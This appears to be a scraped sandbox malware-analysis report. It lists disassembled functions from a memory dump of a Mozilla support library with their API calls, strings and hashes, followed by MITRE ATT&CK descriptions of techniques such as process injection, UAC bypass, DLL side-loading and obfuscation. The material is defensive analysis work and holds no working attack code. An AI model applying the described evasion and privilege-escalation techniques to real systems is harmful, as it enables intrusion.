String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 6d1971096aba9b35a832647c0f80d5aa92d033219ccd1636d3449ba50843818d
Instruction ID: 0635075bc08ce863f4152e7731b53c456d0f17fd2b8f076d2273caae2db3c955
Opcode Fuzzy Hash: 6d1971096aba9b35a832647c0f80d5aa92d033219ccd1636d3449ba50843818d
Instruction Fuzzy Hash: 70515574A00681CFE701CF5AC984A59BBF1BF99318F18C19AD8595BB62C335EC46CF92

Function 6C55BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C55BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C55BE8F

Strings

0, xrefs: 6C55BE5B

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: bcbb2aa5519384d93e29c85bc9118363e5069803911bed7818107a20f309d07d
Instruction ID: 0f934d5e308287501360a7af173f88ced6e19ade72cc747588e5898ad7ef0012
Opcode Fuzzy Hash: bcbb2aa5519384d93e29c85bc9118363e5069803911bed7818107a20f309d07d
Instruction Fuzzy Hash: 2141B171A09745CFC701DF38C885A9BB7F4AF8A348F444A1EF985A7611D730E969CB82

Function 6C593CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C593D19
mozalloc_abort.MOZGLUE(?), ref: 6C593D6C

Strings

d, xrefs: 6C593D58

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: aa6c8148227811525b0a10d2dbf4bbc6544e839ea2461580e32373ff54957020
Instruction ID: 6b81c331ec5e38b64c2efe4dcf15623995f9cb0473e62211668fd50820a462a3
Opcode Fuzzy Hash: aa6c8148227811525b0a10d2dbf4bbc6544e839ea2461580e32373ff54957020
Instruction Fuzzy Hash: 4911C435E047C8DBDF019B69CC244EEB775EF86258B458259DC499B622FB30AAC4C394

Function 6C564730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5644B2,6C5DE21C,6C5DF7F8), ref: 6C56473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C56474A

Strings

GetNtLoaderAPI, xrefs: 6C564744

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 07c114477763517e149d49ee462c2bc9e5476e1a7411a12fbcf46773a2fd571f
Instruction ID: 6fcf1b184128931c6dd992c1d70fb05a613836f09cb65aaee056778e2e413789
Opcode Fuzzy Hash: 07c114477763517e149d49ee462c2bc9e5476e1a7411a12fbcf46773a2fd571f
Instruction Fuzzy Hash: 430156757013549FDF00AF668C5461DB7F9EB8B311B06446AE905C7710DB74E8018F99

Function 6C5B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C5B6E22
__Init_thread_footer.LIBCMT ref: 6C5B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C5B6E1D

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: e3544dacbfb1a4d0693aae22c946c4d93004b247f61fc0980cd91b05e0521ef7
Instruction ID: f95ddc15e3a978ca446acaefe9828bf40b90929e374876602081ddc149fbae83
Opcode Fuzzy Hash: e3544dacbfb1a4d0693aae22c946c4d93004b247f61fc0980cd91b05e0521ef7
Instruction Fuzzy Hash: A8F02E30205340CBDA008B68CC71A967BB29343218F0A0265F80196FA1CB31BA06CB9F

Function 6C569E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C569EEF

Strings

NaN, xrefs: 6C569EC1
Infinity, xrefs: 6C569EB7

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 076ae1b4ea7b001b9941c484a90e4dfa4ca48114e70060039736ed7854b4d05e
Instruction ID: 42119be6c1e6425add3713a325db1510deea6b4ca237aff45535cdc4575fa2ba
Opcode Fuzzy Hash: 076ae1b4ea7b001b9941c484a90e4dfa4ca48114e70060039736ed7854b4d05e
Instruction Fuzzy Hash: 02F06D71602742CBDB00EF58DC46B9133F1B747719F260B19C5040AF90D7757A46CA8E

Function 6C566C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KYl,?,6C594B30,80000000,?,6C594AB7,?,6C5543CF,?,6C5542D2), ref: 6C566C42

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

moz_xmalloc.MOZGLUE(0KYl,?,6C594B30,80000000,?,6C594AB7,?,6C5543CF,?,6C5542D2), ref: 6C566C58

Strings

0KYl, xrefs: 6C566C33, 6C566C41, 6C566C57

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KYl
API String ID: 1967447596-2195558130
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: eccac64791171774d4256c49bb76ae09cccd598a4b4eb8519ba767f86af883ad
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: CFE086F1A10B454BEF08D97A9C0956A71C8CB742AC7044B35E822C6FE8FF74E9908151

Function 6C563850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C5DF860), ref: 6C56385C
ReleaseSRWLockExclusive.KERNEL32(6C5DF860,?), ref: 6C563871

Strings

,]l, xrefs: 6C56387A

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,]l
API String ID: 17069307-2829977861
Opcode ID: 2d71b00116c513ecfc808437ded988290fd7db1723fa2af9f8b40c9840420e5f
Instruction ID: 4c7074c5c61886f985460ffa3b78c04c075327cbc9eaac2d97b6b07ff1027cc4
Opcode Fuzzy Hash: 2d71b00116c513ecfc808437ded988290fd7db1723fa2af9f8b40c9840420e5f
Instruction Fuzzy Hash: 06E04F32946B5997C711AF9B9C056CA7BB9EF4769030B8609E40A17E10CB71F58087DE

Function 6C56BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C56BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C56BEF5

Strings

cryptbase.dll, xrefs: 6C56BEF0

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 4d03800ad53283f1c64a726be1af3bd83afd0d71ebab07820552cc114d721da8
Instruction ID: ac240ee984525a83898967a4507dd721e8dd9394944f00dba3b4930e645db59c
Opcode Fuzzy Hash: 4d03800ad53283f1c64a726be1af3bd83afd0d71ebab07820552cc114d721da8
Instruction Fuzzy Hash: 93D0A731180308E6CA00BB518C05B153775D702715F10C020F30544D61C7B1B810DB4C

Function 6C5AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C5AB2C9,?,?,?,6C5AB127,?,?,?,?,?,?,?,?,?,6C5AAE52), ref: 6C5AB628

Part of subcall function 6C5A90E0: free.MOZGLUE(?,00000000,?,?,6C5ADEDB), ref: 6C5A90FF
Part of subcall function 6C5A90E0: free.MOZGLUE(?,00000000,?,?,6C5ADEDB), ref: 6C5A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C5AB2C9,?,?,?,6C5AB127,?,?,?,?,?,?,?,?,?,6C5AAE52), ref: 6C5AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C5AB2C9,?,?,?,6C5AB127,?,?,?,?,?,?,?,?,?,6C5AAE52), ref: 6C5AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C5AB127,?,?,?,?,?,?,?,?), ref: 6C5AB74D

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 73a2c06cb5992569fff1f22889c719312ea8414707a6af21db886aa4dac1bc77
Instruction ID: bc67b624a7578c3ea0467f6e7ba5174858b4d652cd3da29ba71e5035bcea7717
Opcode Fuzzy Hash: 73a2c06cb5992569fff1f22889c719312ea8414707a6af21db886aa4dac1bc77
Instruction Fuzzy Hash: 5E51CD71A0131A8BDB14DF9ACD8066EBBB1FF85304F45852DC85AAB710D771A806CBE1

Function 6C5ADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C59FF2A), ref: 6C5ADFFD

Part of subcall function 6C5A90E0: free.MOZGLUE(?,00000000,?,?,6C5ADEDB), ref: 6C5A90FF
Part of subcall function 6C5A90E0: free.MOZGLUE(?,00000000,?,?,6C5ADEDB), ref: 6C5A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C59FF2A), ref: 6C5AE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C59FF2A), ref: 6C5AE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C59FF2A), ref: 6C5AE0FE

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b4d573d51ff7c3e0e03d8e3e33548dd088e8780936f5e6a4a8ba4ea4cc1dfc8b
Instruction ID: 7ad9fefa95d76b8b0846d954956f80c098896303e5532593e806914e03526f4a
Opcode Fuzzy Hash: b4d573d51ff7c3e0e03d8e3e33548dd088e8780936f5e6a4a8ba4ea4cc1dfc8b
Instruction Fuzzy Hash: 5841C0B16042168FEB14CFAADC9035E73F2BB45308F15492DD516DB740E7B2E926CB92

Function 6C5A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C5A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C5A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C5A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5A6F5C

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 685505d48e0b5554148294845209d961c16a69aadb6690411ce77cd9eeece8c6
Instruction ID: 2ea23dd55b3159b517bd0da4e79a6a57c4b4555a9498667409f48ea295b02608
Opcode Fuzzy Hash: 685505d48e0b5554148294845209d961c16a69aadb6690411ce77cd9eeece8c6
Instruction Fuzzy Hash: 07310271A1060A8FDB04CF6DDC806AE73E9EB84304F508639D42AC7655EF31E65ACBA1

Function 6C5BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C560A4D), ref: 6C5BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C560A4D), ref: 6C5BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C560A4D), ref: 6C5BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C560A4D), ref: 6C5BB67F

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 5cec9a3a6c83212acd2ff4b0fca8ae605d8f8c9a7e86cc0388f34f2449e67388
Instruction ID: f9d84294e3ee80e355a246791576280ecb7648bf0866f94612dd8102560cdd86
Opcode Fuzzy Hash: 5cec9a3a6c83212acd2ff4b0fca8ae605d8f8c9a7e86cc0388f34f2449e67388
Instruction Fuzzy Hash: 1531D471A012168FDB10DF58CC9465ABBB5FF85304F168A69C846EB301EB71ED15CBA1

Function 6C58F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C58F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C58F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C58F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C58F668

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 8717496812249b2c1704078e985cff36efee1d0884894b5498b9d71da4a4e71d
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 64313E71B01224AFC714CF59DCC0A9E7BB5EBC8758B148A3DEA598BB05D731F9448B90

Function 6C5A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5A26C1
free.MOZGLUE(?), ref: 6C5A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5A26FF
free.MOZGLUE ref: 6C5A270D

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ebf4d6026814f45598d24d86d59f2bb860bb950385cc9a6133fd432160c695cc
Instruction ID: 38eef0cee884ea15f68f5c5fdc98ed8eac59140fa8078e53ad491c3a4ae93fcd
Opcode Fuzzy Hash: ebf4d6026814f45598d24d86d59f2bb860bb950385cc9a6133fd432160c695cc
Instruction Fuzzy Hash: 0DF0F9B27022005BEB109E9BDC8994F73A9EF41258B510035EA1EC3B11E731F95AC6A6

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
